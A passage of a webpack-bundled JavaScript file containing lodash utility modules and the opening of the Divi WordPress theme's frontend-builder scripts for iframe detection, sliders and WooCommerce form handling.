isEmpty; /***/ }, /***/ "./node_modules/lodash/isFunction.js": /*!*******************************************!*\ !*** ./node_modules/lodash/isFunction.js ***! \*******************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsFunctionJs(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__( /*! ./_baseGetTag */ "./node_modules/lodash/_baseGetTag.js"), isObject = __webpack_require__( /*! ./isObject */ "./node_modules/lodash/isObject.js"); /** `Object#toString` result references. */ var asyncTag = '[object AsyncFunction]', funcTag = '[object Function]', genTag = '[object GeneratorFunction]', proxyTag = '[object Proxy]'; /** * Checks if `value` is classified as a `Function` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a function, else `false`. * @example * * _.isFunction(_); * // => true * * _.isFunction(/abc/); * // => false */ function isFunction(value) { if (!isObject(value)) { return false; } // The use of `Object#toString` avoids issues with the `typeof` operator // in Safari 9 which returns 'object' for typed arrays and other constructors. var tag = baseGetTag(value); return tag == funcTag || tag == genTag || tag == asyncTag || tag == proxyTag; } module.exports = isFunction; /***/ }, /***/ "./node_modules/lodash/isLength.js": /*!*****************************************!*\ !*** ./node_modules/lodash/isLength.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsLengthJs(module, exports) { /** Used as references for various `Number` constants. */ var MAX_SAFE_INTEGER = 9007199254740991; /** * Checks if `value` is a valid array-like length. * * **Note:** This method is loosely based on * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a valid length, else `false`. * @example * * _.isLength(3); * // => true * * _.isLength(Number.MIN_VALUE); * // => false * * _.isLength(Infinity); * // => false * * _.isLength('3'); * // => false */ function isLength(value) { return typeof value == 'number' && value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER; } module.exports = isLength; /***/ }, /***/ "./node_modules/lodash/isObject.js": /*!*****************************************!*\ !*** ./node_modules/lodash/isObject.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsObjectJs(module, exports) { /** * Checks if `value` is the * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types) * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`) * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an object, else `false`. * @example * * _.isObject({}); * // => true * * _.isObject([1, 2, 3]); * // => true * * _.isObject(_.noop); * // => true * * _.isObject(null); * // => false */ function isObject(value) { var type = _typeof2(value); return value != null && (type == 'object' || type == 'function'); } module.exports = isObject; /***/ }, /***/ "./node_modules/lodash/isObjectLike.js": /*!*********************************************!*\ !*** ./node_modules/lodash/isObjectLike.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsObjectLikeJs(module, exports) { /** * Checks if `value` is object-like. A value is object-like if it's not `null` * and has a `typeof` result of "object". * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is object-like, else `false`. * @example * * _.isObjectLike({}); * // => true * * _.isObjectLike([1, 2, 3]); * // => true * * _.isObjectLike(_.noop); * // => false * * _.isObjectLike(null); * // => false */ function isObjectLike(value) { return value != null && _typeof2(value) == 'object'; } module.exports = isObjectLike; /***/ }, /***/ "./node_modules/lodash/isString.js": /*!*****************************************!*\ !*** ./node_modules/lodash/isString.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsStringJs(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__( /*! ./_baseGetTag */ "./node_modules/lodash/_baseGetTag.js"), isArray = __webpack_require__( /*! ./isArray */ "./node_modules/lodash/isArray.js"), isObjectLike = __webpack_require__( /*! ./isObjectLike */ "./node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var stringTag = '[object String]'; /** * Checks if `value` is classified as a `String` primitive or object. * * @static * @since 0.1.0 * @memberOf _ * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a string, else `false`. * @example * * _.isString('abc'); * // => true * * _.isString(1); * // => false */ function isString(value) { return typeof value == 'string' || !isArray(value) && isObjectLike(value) && baseGetTag(value) == stringTag; } module.exports = isString; /***/ }, /***/ "./node_modules/lodash/isSymbol.js": /*!*****************************************!*\ !*** ./node_modules/lodash/isSymbol.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsSymbolJs(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__( /*! ./_baseGetTag */ "./node_modules/lodash/_baseGetTag.js"), isObjectLike = __webpack_require__( /*! ./isObjectLike */ "./node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var symbolTag = '[object Symbol]'; /** * Checks if `value` is classified as a `Symbol` primitive or object. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a symbol, else `false`. * @example * * _.isSymbol(Symbol.iterator); * // => true * * _.isSymbol('abc'); * // => false */ function isSymbol(value) { return _typeof2(value) == 'symbol' || isObjectLike(value) && baseGetTag(value) == symbolTag; } module.exports = isSymbol; /***/ }, /***/ "./node_modules/lodash/isTypedArray.js": /*!*********************************************!*\ !*** ./node_modules/lodash/isTypedArray.js ***! \*********************************************/ /*! no static exports found */ /***/ function node_modulesLodashIsTypedArrayJs(module, exports, __webpack_require__) { var baseIsTypedArray = __webpack_require__( /*! ./_baseIsTypedArray */ "./node_modules/lodash/_baseIsTypedArray.js"), baseUnary = __webpack_require__( /*! ./_baseUnary */ "./node_modules/lodash/_baseUnary.js"), nodeUtil = __webpack_require__( /*! ./_nodeUtil */ "./node_modules/lodash/_nodeUtil.js"); /* Node.js helper references. */ var nodeIsTypedArray = nodeUtil && nodeUtil.isTypedArray; /** * Checks if `value` is classified as a typed array. * * @static * @memberOf _ * @since 3.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a typed array, else `false`. * @example * * _.isTypedArray(new Uint8Array); * // => true * * _.isTypedArray([]); * // => false */ var isTypedArray = nodeIsTypedArray ? baseUnary(nodeIsTypedArray) : baseIsTypedArray; module.exports = isTypedArray; /***/ }, /***/ "./node_modules/lodash/keys.js": /*!*************************************!*\ !*** ./node_modules/lodash/keys.js ***! \*************************************/ /*! no static exports found */ /***/ function node_modulesLodashKeysJs(module, exports, __webpack_require__) { var arrayLikeKeys = __webpack_require__( /*! ./_arrayLikeKeys */ "./node_modules/lodash/_arrayLikeKeys.js"), baseKeys = __webpack_require__( /*! ./_baseKeys */ "./node_modules/lodash/_baseKeys.js"), isArrayLike = __webpack_require__( /*! ./isArrayLike */ "./node_modules/lodash/isArrayLike.js"); /** * Creates an array of the own enumerable property names of `object`. * * **Note:** Non-object values are coerced to objects. See the * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys) * for more details. * * @static * @since 0.1.0 * @memberOf _ * @category Object * @param {Object} object The object to query. * @returns {Array} Returns the array of property names. * @example * * function Foo() { * this.a = 1; * this.b = 2; * } * * Foo.prototype.c = 3; * * _.keys(new Foo); * // => ['a', 'b'] (iteration order is not guaranteed) * * _.keys('hi'); * // => ['0', '1'] */ function keys(object) { return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object); } module.exports = keys; /***/ }, /***/ "./node_modules/lodash/memoize.js": /*!****************************************!*\ !*** ./node_modules/lodash/memoize.js ***! \****************************************/ /*! no static exports found */ /***/ function node_modulesLodashMemoizeJs(module, exports, __webpack_require__) { var MapCache = __webpack_require__( /*! ./_MapCache */ "./node_modules/lodash/_MapCache.js"); /** Error message constants. */ var FUNC_ERROR_TEXT = 'Expected a function'; /** * Creates a function that memoizes the result of `func`. If `resolver` is * provided, it determines the cache key for storing the result based on the * arguments provided to the memoized function. By default, the first argument * provided to the memoized function is used as the map cache key. The `func` * is invoked with the `this` binding of the memoized function. * * **Note:** The cache is exposed as the `cache` property on the memoized * function. Its creation may be customized by replacing the `_.memoize.Cache` * constructor with one whose instances implement the * [`Map`](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object) * method interface of `clear`, `delete`, `get`, `has`, and `set`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to have its output memoized. * @param {Function} [resolver] The function to resolve the cache key. * @returns {Function} Returns the new memoized function. * @example * * var object = { 'a': 1, 'b': 2 }; * var other = { 'c': 3, 'd': 4 }; * * var values = _.memoize(_.values); * values(object); * // => [1, 2] * * values(other); * // => [3, 4] * * object.a = 2; * values(object); * // => [1, 2] * * // Modify the result cache. * values.cache.set(object, ['a', 'b']); * values(object); * // => ['a', 'b'] * * // Replace `_.memoize.Cache`. * _.memoize.Cache = WeakMap; */ function memoize(func, resolver) { if (typeof func != 'function' || resolver != null && typeof resolver != 'function') { throw new TypeError(FUNC_ERROR_TEXT); } var memoized = function memoized() { var args = arguments, key = resolver ? resolver.apply(this, args) : args[0], cache = memoized.cache; if (cache.has(key)) { return cache.get(key); } var result = func.apply(this, args); memoized.cache = cache.set(key, result) || cache; return result; }; memoized.cache = new (memoize.Cache || MapCache)(); return memoized; } // Expose `MapCache`. memoize.Cache = MapCache; module.exports = memoize; /***/ }, /***/ "./node_modules/lodash/property.js": /*!*****************************************!*\ !*** ./node_modules/lodash/property.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashPropertyJs(module, exports, __webpack_require__) { var baseProperty = __webpack_require__( /*! ./_baseProperty */ "./node_modules/lodash/_baseProperty.js"), basePropertyDeep = __webpack_require__( /*! ./_basePropertyDeep */ "./node_modules/lodash/_basePropertyDeep.js"), isKey = __webpack_require__( /*! ./_isKey */ "./node_modules/lodash/_isKey.js"), toKey = __webpack_require__( /*! ./_toKey */ "./node_modules/lodash/_toKey.js"); /** * Creates a function that returns the value at `path` of a given object. * * @static * @memberOf _ * @since 2.4.0 * @category Util * @param {Array|string} path The path of the property to get. * @returns {Function} Returns the new accessor function. * @example * * var objects = [ * { 'a': { 'b': 2 } }, * { 'a': { 'b': 1 } } * ]; * * _.map(objects, _.property('a.b')); * // => [2, 1] * * _.map(_.sortBy(objects, _.property(['a', 'b'])), 'a.b'); * // => [1, 2] */ function property(path) { return isKey(path) ? baseProperty(toKey(path)) : basePropertyDeep(path); } module.exports = property; /***/ }, /***/ "./node_modules/lodash/stubArray.js": /*!******************************************!*\ !*** ./node_modules/lodash/stubArray.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodashStubArrayJs(module, exports) { /** * This method returns a new empty array. * * @static * @memberOf _ * @since 4.13.0 * @category Util * @returns {Array} Returns the new empty array. * @example * * var arrays = _.times(2, _.stubArray); * * console.log(arrays); * // => [[], []] * * console.log(arrays[0] === arrays[1]); * // => false */ function stubArray() { return []; } module.exports = stubArray; /***/ }, /***/ "./node_modules/lodash/stubFalse.js": /*!******************************************!*\ !*** ./node_modules/lodash/stubFalse.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodashStubFalseJs(module, exports) { /** * This method returns `false`. * * @static * @memberOf _ * @since 4.13.0 * @category Util * @returns {boolean} Returns `false`. * @example * * _.times(2, _.stubFalse); * // => [false, false] */ function stubFalse() { return false; } module.exports = stubFalse; /***/ }, /***/ "./node_modules/lodash/toFinite.js": /*!*****************************************!*\ !*** ./node_modules/lodash/toFinite.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashToFiniteJs(module, exports, __webpack_require__) { var toNumber = __webpack_require__( /*! ./toNumber */ "./node_modules/lodash/toNumber.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0, MAX_INTEGER = 1.7976931348623157e+308; /** * Converts `value` to a finite number. * * @static * @memberOf _ * @since 4.12.0 * @category Lang * @param {*} value The value to convert. * @returns {number} Returns the converted number. * @example * * _.toFinite(3.2); * // => 3.2 * * _.toFinite(Number.MIN_VALUE); * // => 5e-324 * * _.toFinite(Infinity); * // => 1.7976931348623157e+308 * * _.toFinite('3.2'); * // => 3.2 */ function toFinite(value) { if (!value) { return value === 0 ? value : 0; } value = toNumber(value); if (value === INFINITY || value === -INFINITY) { var sign = value < 0 ? -1 : 1; return sign * MAX_INTEGER; } return value === value ? value : 0; } module.exports = toFinite; /***/ }, /***/ "./node_modules/lodash/toInteger.js": /*!******************************************!*\ !*** ./node_modules/lodash/toInteger.js ***! \******************************************/ /*! no static exports found */ /***/ function node_modulesLodashToIntegerJs(module, exports, __webpack_require__) { var toFinite = __webpack_require__( /*! ./toFinite */ "./node_modules/lodash/toFinite.js"); /** * Converts `value` to an integer. * * **Note:** This method is loosely based on * [`ToInteger`](http://www.ecma-international.org/ecma-262/7.0/#sec-tointeger). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to convert. * @returns {number} Returns the converted integer. * @example * * _.toInteger(3.2); * // => 3 * * _.toInteger(Number.MIN_VALUE); * // => 0 * * _.toInteger(Infinity); * // => 1.7976931348623157e+308 * * _.toInteger('3.2'); * // => 3 */ function toInteger(value) { var result = toFinite(value), remainder = result % 1; return result === result ? remainder ? result - remainder : result : 0; } module.exports = toInteger; /***/ }, /***/ "./node_modules/lodash/toNumber.js": /*!*****************************************!*\ !*** ./node_modules/lodash/toNumber.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashToNumberJs(module, exports, __webpack_require__) { var baseTrim = __webpack_require__( /*! ./_baseTrim */ "./node_modules/lodash/_baseTrim.js"), isObject = __webpack_require__( /*! ./isObject */ "./node_modules/lodash/isObject.js"), isSymbol = __webpack_require__( /*! ./isSymbol */ "./node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var NAN = 0 / 0; /** Used to detect bad signed hexadecimal string values. */ var reIsBadHex = /^[-+]0x[0-9a-f]+$/i; /** Used to detect binary string values. */ var reIsBinary = /^0b[01]+$/i; /** Used to detect octal string values. */ var reIsOctal = /^0o[0-7]+$/i; /** Built-in method references without a dependency on `root`. */ var freeParseInt = parseInt; /** * Converts `value` to a number. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to process. * @returns {number} Returns the number. * @example * * _.toNumber(3.2); * // => 3.2 * * _.toNumber(Number.MIN_VALUE); * // => 5e-324 * * _.toNumber(Infinity); * // => Infinity * * _.toNumber('3.2'); * // => 3.2 */ function toNumber(value) { if (typeof value == 'number') { return value; } if (isSymbol(value)) { return NAN; } if (isObject(value)) { var other = typeof value.valueOf == 'function' ? value.valueOf() : value; value = isObject(other) ? other + '' : other; } if (typeof value != 'string') { return value === 0 ? value : +value; } value = baseTrim(value); var isBinary = reIsBinary.test(value); return isBinary || reIsOctal.test(value) ? freeParseInt(value.slice(2), isBinary ? 2 : 8) : reIsBadHex.test(value) ? NAN : +value; } module.exports = toNumber; /***/ }, /***/ "./node_modules/lodash/toString.js": /*!*****************************************!*\ !*** ./node_modules/lodash/toString.js ***! \*****************************************/ /*! no static exports found */ /***/ function node_modulesLodashToStringJs(module, exports, __webpack_require__) { var baseToString = __webpack_require__( /*! ./_baseToString */ "./node_modules/lodash/_baseToString.js"); /** * Converts `value` to a string. An empty string is returned for `null` * and `undefined` values. The sign of `-0` is preserved. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to convert. * @returns {string} Returns the converted string. * @example * * _.toString(null); * // => '' * * _.toString(-0); * // => '-0' * * _.toString([1, 2, 3]); * // => '1,2,3' */ function toString(value) { return value == null ? '' : baseToString(value); } module.exports = toString; /***/ }, /***/ "./node_modules/lodash/values.js": /*!***************************************!*\ !*** ./node_modules/lodash/values.js ***! \***************************************/ /*! no static exports found */ /***/ function node_modulesLodashValuesJs(module, exports, __webpack_require__) { var baseValues = __webpack_require__( /*! ./_baseValues */ "./node_modules/lodash/_baseValues.js"), keys = __webpack_require__( /*! ./keys */ "./node_modules/lodash/keys.js"); /** * Creates an array of the own enumerable string keyed property values of `object`. * * **Note:** Non-object values are coerced to objects. * * @static * @since 0.1.0 * @memberOf _ * @category Object * @param {Object} object The object to query. * @returns {Array} Returns the array of property values. * @example * * function Foo() { * this.a = 1; * this.b = 2; * } * * Foo.prototype.c = 3; * * _.values(new Foo); * // => [1, 2] (iteration order is not guaranteed) * * _.values('hi'); * // => ['h', 'i'] */ function values(object) { return object == null ? [] : baseValues(object, keys(object)); } module.exports = values; /***/ }, /***/ "./node_modules/webpack/buildin/global.js": /*!***********************************!*\ !*** (webpack)/buildin/global.js ***! \***********************************/ /*! no static exports found */ /***/ function node_modulesWebpackBuildinGlobalJs(module, exports) { var g; // This works in non-strict mode g = function () { return this; }(); try { // This works if eval is allowed (see CSP) g = g || new Function("return this")(); } catch (e) { // This works if the window reference is available if ((typeof window === "undefined" ? "undefined" : _typeof2(window)) === "object") g = window; } // g can still be undefined, but nothing to do about it... // We return undefined, instead of nothing here, so it's // easier to handle this case. if(!global) { ...} module.exports = g; /***/ }, /***/ "./node_modules/webpack/buildin/module.js": /*!***********************************!*\ !*** (webpack)/buildin/module.js ***! \***********************************/ /*! no static exports found */ /***/ function node_modulesWebpackBuildinModuleJs(module, exports) { module.exports = function (module) { if (!module.webpackPolyfill) { module.deprecate = function () {}; module.paths = []; // module.parent = undefined by default if (!module.children) module.children = []; Object.defineProperty(module, "loaded", { enumerable: true, get: function get() { return module.l; } }); Object.defineProperty(module, "id", { enumerable: true, get: function get() { return module.i; } }); module.webpackPolyfill = 1; } return module; }; /***/ }, /***/ "jquery": /*!*************************!*\ !*** external "jQuery" ***! \*************************/ /*! no static exports found */ /***/ function jquery(module, exports) { (function () { module.exports = window["jQuery"]; })(); /***/ } /******/ })); /***/ }), /***/ "./includes/builder/frontend-builder/build/frontend-builder-scripts.js": /*!*****************************************************************************!*\ !*** ./includes/builder/frontend-builder/build/frontend-builder-scripts.js ***! \*****************************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { function _typeof2(obj){"@babel/helpers - typeof";if(typeof Symbol==="function"&&typeof Symbol.iterator==="symbol"){_typeof2=function _typeof2(obj){return typeof obj;};}else{_typeof2=function _typeof2(obj){return obj&&typeof Symbol==="function"&&obj.constructor===Symbol&&obj!==Symbol.prototype?"symbol":typeof obj;};}return _typeof2(obj);}(function(e,a){for(var i in a){e[i]=a[i];}})(window,/******/function(modules){// webpackBootstrap /******/ // The module cache /******/var installedModules={};/******/ /******/ // The require function /******/function __webpack_require__(moduleId){/******/ /******/ // Check if module is in cache /******/if(installedModules[moduleId]){/******/return installedModules[moduleId].exports;/******/}/******/ // Create a new module (and put it into the cache) /******/var module=installedModules[moduleId]={/******/i:moduleId,/******/l:false,/******/exports:{}/******/};/******/ /******/ // Execute the module function /******/modules[moduleId].call(module.exports,module,module.exports,__webpack_require__);/******/ /******/ // Flag the module as loaded /******/module.l=true;/******/ /******/ // Return the exports of the module /******/return module.exports;/******/}/******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/__webpack_require__.m=modules;/******/ /******/ // expose the module cache /******/__webpack_require__.c=installedModules;/******/ /******/ // define getter function for harmony exports /******/__webpack_require__.d=function(exports,name,getter){/******/if(!__webpack_require__.o(exports,name)){/******/Object.defineProperty(exports,name,{enumerable:true,get:getter});/******/}/******/};/******/ /******/ // define __esModule on exports /******/__webpack_require__.r=function(exports){/******/if(typeof Symbol!=='undefined'&&Symbol.toStringTag){/******/Object.defineProperty(exports,Symbol.toStringTag,{value:'Module'});/******/}/******/Object.defineProperty(exports,'__esModule',{value:true});/******/};/******/ /******/ // create a fake namespace object /******/ // mode & 1: value is a module id, require it /******/ // mode & 2: merge all properties of value into the ns /******/ // mode & 4: return value when already ns object /******/ // mode & 8|1: behave like require /******/__webpack_require__.t=function(value,mode){/******/if(mode&1)value=__webpack_require__(value);/******/if(mode&8)return value;/******/if(mode&4&&_typeof2(value)==='object'&&value&&value.__esModule)return value;/******/var ns=Object.create(null);/******/__webpack_require__.r(ns);/******/Object.defineProperty(ns,'default',{enumerable:true,value:value});/******/if(mode&2&&typeof value!='string')for(var key in value){__webpack_require__.d(ns,key,function(key){return value[key];}.bind(null,key));}/******/return ns;/******/};/******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/__webpack_require__.n=function(module){/******/var getter=module&&module.__esModule?/******/function getDefault(){return module['default'];}:/******/function getModuleExports(){return module;};/******/__webpack_require__.d(getter,'a',getter);/******/return getter;/******/};/******/ /******/ // Object.prototype.hasOwnProperty.call /******/__webpack_require__.o=function(object,property){return Object.prototype.hasOwnProperty.call(object,property);};/******/ /******/ // __webpack_public_path__ /******/__webpack_require__.p="http://0.0.0.0:31495/";/******/ /******/ /******/ // Load entry module and return exports /******/return __webpack_require__(__webpack_require__.s="../scripts/frontend/scripts.js");/******/}(/************************************************************************/ /******/{/***/"../../../core/admin/js/frame-helpers.js":/*!*********************************************************************************************************!*\ !*** /Users/slava/Local Sites/dividev/app/public/wp-content/themes/Divi/core/admin/js/frame-helpers.js ***! \*********************************************************************************************************/ /*! no static exports found */ /***/function coreAdminJsFrameHelpersJs(module,exports,__webpack_require__){"use strict";Object.defineProperty(exports,"__esModule",{value:true});exports.top_window=exports.is_iframe=void 0;/* ,-,- / / | ,-' _/ / / (-_ _,-' `Z_/ "#: ,-'_,-. \ _ #' _(_-'_()\ \" | ,--_,--' | / "" L-'\ \,--^---v--v-._ / \ | \_________________,-' | \ \ \ NOTE: The code in this file will be executed multiple times! */var top_window=window;exports.top_window=top_window;var is_iframe=false;exports.is_iframe=is_iframe;var top;try{// Have to access top window's prop (document) to trigger same-origin DOMException // so we can catch it and act accordingly. top=window.top.document?window.top:false;}catch(e){// Can't access top, it means we're inside a different domain iframe. top=false;}if(top&&top.__Cypress__){if(window.parent===top){exports.top_window=top_window=window;exports.is_iframe=is_iframe=false;}else{exports.top_window=top_window=window.parent;exports.is_iframe=is_iframe=true;}}else if(top){exports.top_window=top_window=top;exports.is_iframe=is_iframe=top!==window.self;}/***/},/***/"../scripts/frontend/scripts.js":/*!**************************************!*\ !*** ../scripts/frontend/scripts.js ***! \**************************************/ /*! no static exports found */ /***/function scriptsFrontendScriptsJs(module,exports,__webpack_require__){"use strict";/* WEBPACK VAR INJECTION */(function(jQuery){var _includes=_interopRequireDefault(__webpack_require__(/*! lodash/includes */"./node_modules/lodash/includes.js"));var _isUndefined=_interopRequireDefault(__webpack_require__(/*! lodash/isUndefined */"./node_modules/lodash/isUndefined.js"));var _get=_interopRequireDefault(__webpack_require__(/*! lodash/get */"./node_modules/lodash/get.js"));var _selectors=__webpack_require__(/*! gutenberg/utils/selectors */"./gutenberg/utils/selectors.js");var _utils=__webpack_require__(/*! ../utils/utils */"../scripts/utils/utils.js");function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj};}function _typeof(obj){"@babel/helpers - typeof";if(typeof Symbol==="function"&&typeof Symbol.iterator==="symbol"){_typeof=function _typeof(obj){return typeof obj;};}else{_typeof=function _typeof(obj){return obj&&typeof Symbol==="function"&&obj.constructor===Symbol&&obj!==Symbol.prototype?"symbol":typeof obj;};}return _typeof(obj);}var _post_id=et_pb_custom.page_id;/*! ET frontend-builder-scripts.js */(function($){var isBlockLayoutPreview='undefined'!==typeof window.ETBlockLayoutModulesScript&&$('body').hasClass('et-block-layout-preview');var top_window=_utils.isBuilder||isBlockLayoutPreview?ET_Builder.Frames.top:window;var $et_window=$(window);var $fullscreenSectionWindow=isBlockLayoutPreview?$(top_window):$(window);var $et_top_window=_utils.isBuilder?top_window.jQuery(top_window):$(window);var isTB=$('body').hasClass('et-tb');var isBFB=$('body').hasClass('et-bfb');var isVB=_utils.isBuilder&&!isBFB;var isScrollOnAppWindow=function isScrollOnAppWindow(){if(isBlockLayoutPreview){return false;}return isVB&&($('html').is('.et-fb-preview--wireframe')||$('html').is('.et-fb-preview--desktop'));};var isBuilderModeZoom=function isBuilderModeZoom(){return _utils.isBuilder&&$('html').is('.et-fb-preview--zoom');};var isInsideVB=function isInsideVB($node){return $node.closest('#et-fb-app').length>0;};var getInsideVB=function getInsideVB($node){return $('#et-fb-app').find($node);};var getOutsideVB=function getOutsideVB($node){if('string'===typeof $node){$node=$($node);}return $node.not('#et-fb-app *');};window.et_load_event_fired=false;window.et_is_transparent_nav=$('body').hasClass('et_transparent_nav');window.et_is_vertical_nav=$('body').hasClass('et_vertical_nav');window.et_is_fixed_nav=$('body').hasClass('et_fixed_nav');window.et_is_minified_js=$('body').hasClass('et_minified_js');window.et_is_minified_css=$('body').hasClass('et_minified_css');window.et_force_width_container_change=false;jQuery.fn.reverse=[].reverse;jQuery.fn.closest_descendent=function(selector){var $found;var $current_children=this.children();while($current_children.length){$found=$current_children.filter(selector);if($found.length){break;}$current_children=$current_children.children();}return $found;};// Star-based rating UI. // @see: WooCommerce's woocommerce/assets/js/frontend/single-product.js file window.et_pb_init_woo_star_rating=function($rating_selector){var $rating_parent=$rating_selector.closest('div');var $existing_stars=$rating_parent.find('p.stars');if($existing_stars.length>0){$existing_stars.remove();}$rating_selector.hide().before('<p class="stars">\ <span>\ <a class="star-1" href="#">1</a>\ <a class="star-2" href="#">2</a>\ <a class="star-3" href="#">3</a>\ <a class="star-4" href="#">4</a>\ <a class="star-5" href="#">5</a>\ </span>\ </p>');};window.et_pb_wrap_woo_attribute_fields_in_span=function(){// WooCommerce Modules :: Add To Cart var $et_variations_forms=$('form.variations_form');// $.each() avoids multiple <span>'s when more than one form exists. // @see https://github.com/elegantthemes/submodule-builder/pull/7022#discussion_r370703949 $.each($et_variations_forms,function(idx,form){var $form=$(form);var $et_attribute_fields=$form.find('.variations select');var $et_attribute_fields_parent=$form.find('.variations select').parent('td.value');var $et_reset_variations=$form.find('.reset_variations');// Checking length makes sure that `<span>` isn't nested in VB. if(0===$et_attribute_fields_parent.length||$et_attribute_fields_parent.attr('data-is-span-added')){return;}$et_attribute_fields_parent.attr('data-is-span-added','1');$($et_attribute_fields).wrap('<span></span>');if(isVB&&$et_reset_variations.length>0){$($et_reset_variations).remove();}});};window.et_pb_init_modules=function(){$.et_pb_simple_slider=function(el,options){var settings=$.extend({slide:'.et-slide',// slide class arrows:'.et-pb-slider-arrows',// arrows container class prev_arrow:'.et-pb-arrow-prev',// left arrow class next_arrow:'.et-pb-arrow-next',// right arrow class controls:'.et-pb-controllers a',// control selector carousel_controls:'.et_pb_carousel_item',// carousel control selector control_active_class:'et-pb-active-control',// active control class name previous_text:et_pb_custom.previous,// previous arrow text next_text:et_pb_custom.next,// next arrow text fade_speed:500,// fade effect speed use_arrows:true,// use arrows? use_controls:true,// use controls? manual_arrows:'',// html code for custom arrows append_controls_to:'',// controls are appended to the slider element by default, here you can specify the element it should append to controls_below:false,controls_class:'et-pb-controllers',// controls container class name slideshow:false,// automattic animation? slideshow_speed:7000,// automattic animation speed show_progress_bar:false,// show progress bar if automattic animation is active tabs_animation:false,use_carousel:false,active_slide:0},options);var $et_slider=$(el);var $et_slide=$et_slider.closest_descendent(settings.slide);var et_slides_number=$et_slide.length;var et_fade_speed=settings.fade_speed;var et_active_slide=settings.active_slide;var $et_slider_arrows;var $et_slider_prev;var $et_slider_next;var $et_slider_controls;var $et_slider_carousel_controls;var et_slider_timer;var controls_html='';var carousel_html='';var $progress_bar=null;var progress_timer_count=0;var $et_pb_container=$et_slider.find('.et_pb_container');var et_pb_container_width=$et_pb_container.width();var is_post_slider=$et_slider.hasClass('et_pb_post_slider');var et_slider_breakpoint='';var stop_slider=false;$et_slider.et_animation_running=false;$.data(el,'et_pb_simple_slider',$et_slider);$et_slide.eq(0).addClass('et-pb-active-slide');$et_slider.attr('data-active-slide',$et_slide.data('slide-id'));if(!settings.tabs_animation){if(!$et_slider.hasClass('et_pb_bg_layout_dark')&&!$et_slider.hasClass('et_pb_bg_layout_light')){$et_slider.addClass(et_get_bg_layout_color($et_slide.eq(0)));}}if(settings.use_arrows&&et_slides_number>1){if(''==settings.manual_arrows){// Setting style="color:inherit" for Gallery Slider's arrows if(settings.hasOwnProperty('slide')&&'.et_pb_gallery_item'===settings.slide){$et_slider.append("".concat('<div class="et-pb-slider-arrows"><a class="et-pb-arrow-prev" href="#" style="color:inherit">'+'<span>').concat(settings.previous_text,"</span>")+'</a><a class="et-pb-arrow-next" href="#" style="color:inherit">'+"<span>".concat(settings.next_text,"</span>")+'</a></div>');}else{$et_slider.append("".concat('<div class="et-pb-slider-arrows"><a class="et-pb-arrow-prev" href="#" >'+'<span>').concat(settings.previous_text,"</span>")+'</a><a class="et-pb-arrow-next" href="#">'+"<span>".concat(settings.next_text,"</span>")+'</a></div>');}}else{$et_slider.append(settings.manual_arrows);}$et_slider_arrows=$et_slider.find(settings.arrows);$et_slider_prev=$et_slider.find(settings.prev_arrow);$et_slider_next=$et_slider.find(settings.next_arrow);$et_slider.on('click.et_pb_simple_slider',settings.next_arrow,function(){if($et_slider.et_animation_running)return false;$et_slider.et_slider_move_to('next');return false;});$et_slider.on('click.et_pb_simple_slider',settings.prev_arrow,function(){if($et_slider.et_animation_running)return false;$et_slider.et_slider_move_to('previous');return false;});// swipe support requires et-jquery-touch-mobile $et_slider.on('swipeleft.et_pb_simple_slider',settings.slide,function(event){// do not switch slide on selecting text in VB if($(event.target).closest('.et-fb-popover-tinymce').length||$(event.target).closest('.et-fb-editable-element').length){return;}$et_slider.et_slider_move_to('next');});$et_slider.on('swiperight.et_pb_simple_slider',settings.slide,function(event){// do not switch slide on selecting text in VB if($(event.target).closest('.et-fb-popover-tinymce').length||$(event.target).closest('.et-fb-editable-element').length){return;}$et_slider.et_slider_move_to('previous');});}if(settings.use_controls&&et_slides_number>1){for(var i=1;i<=et_slides_number;i++){controls_html+="<a href=\"#\"".concat(1==i?" 